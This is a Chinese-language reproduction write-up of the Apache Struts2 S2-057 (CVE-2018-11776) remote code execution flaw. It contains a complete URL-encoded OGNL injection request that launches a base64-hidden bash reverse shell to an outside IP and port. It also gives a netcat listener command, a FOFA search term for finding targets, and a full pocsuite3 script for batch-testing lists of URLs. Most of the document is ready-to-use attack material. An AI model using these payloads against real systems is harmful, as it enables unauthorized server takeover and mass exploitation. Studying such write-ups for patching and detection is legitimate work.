-Struts2-057 远程命令执行漏洞

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漏洞复现-Struts2-057 远程命令执行漏洞

0x01 阅读须知

0x02 漏洞描述

struts是Apache软件基金会（ASF）赞助的一个开源项目。它最初是Jakarta项目中的一个子项目，并在2004年3月成为ASF的顶级项目。它通过采用JavaServlet/JSP技术，实现了基于JavaEEWeb应用的Model-View-Controller（MVC）设计模式的应用框架，是MVC经典设计模式中的一个经典产品。在Struts2-057中，漏洞产生于网站配置XML时如果没有设置namespace的值，并且上层动作配置中并没有设置或使用通配符namespace时，可能会导致远程代码执行漏洞的发生。同样也可能因为url标签没有设置value和action的值，并且上层动作并没有设置或使用通配符namespace，从而导致远程代码执行漏洞的发生。

0x03 漏洞复现

漏洞影响:Apache Struts 2.3–Struts 2.3.34,Apache Struts 2.5–Struts 2.5.16

FOFA:Struts2

1.构造exp执行反弹shell命令，这里bash命令需要base64编码再解码http://ir0ny.top/pentest/reverse-encoder-shell.html

GET /struts2-showcase/%24%7B%0A(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B'struts.valueStack'%5D.context).(%23cr%3D%23ct%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec('bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjMxLjEwMSx3Nzc3IDA%2BJjE%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D')).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action HTTP/1.1
Host: x.x.x.x:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: JSESSIONID=EF07D9892809D31F0C36C99F60574CED
Upgrade-Insecure-Requests: 1

2.nc监听，得到一个shell

nc.exe -lvvp 7777

3.使用pocsuite3批量验证1.txt文件中的url是否存在该漏洞，显示一个成功一个失败。

pocsuite3下载地址：http://github.com/knownsec/pocsuite3

使用方法：
python3 cli.py -r pocs/struts2-057-poc.py -f 1.txt

poc：
# -*- coding:utf-8 -*-

from collections import OrderedDict
from urllib.parse import urljoin
import re
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY


class DemoPOC(POCBase):#漏洞信息
    vulID = 'CVE-2018-11776'
    version = 'Apache Struts 2.3–Struts 2.3.34,Apache Struts 2.5–Struts 2.5.16'
    author = ['ry']
    vulDate = '2022-05-03'
    createDate = '2022-05-03'
    updateDate = '2022-05-03'
    references = ['http://cwiki.apache.org/confluence/display/WW/S2-057']
    name = 'S2-057'
    appPowerLink = 'S2-057'
    appName = 'Strute2'
    appVersion = '2.X'
    vulType = 'RCE'
    desc = '''
        struts2-057远程代码执行漏洞
    '''
    samples = []
    install_requires = ['']

    def _verify(self):
        result = {}
        path = "/struts2-showcase/"
        url = self.url + path
        #print(url)
        payload = "/$%7B233*233%7D/actionChain1.action"
        #print(payload)
        try:
            resq = requests.get(url + payload)
            if resq and resq.status_code == 200 and "54289" in resq.text:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = url
                result['VerifyInfo']['Name'] = payload
        except Exception as e:
            return 
        return self.parse_output(result)

    def _attack(self):
        return self._verify()

    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output

register_poc(DemoPOC)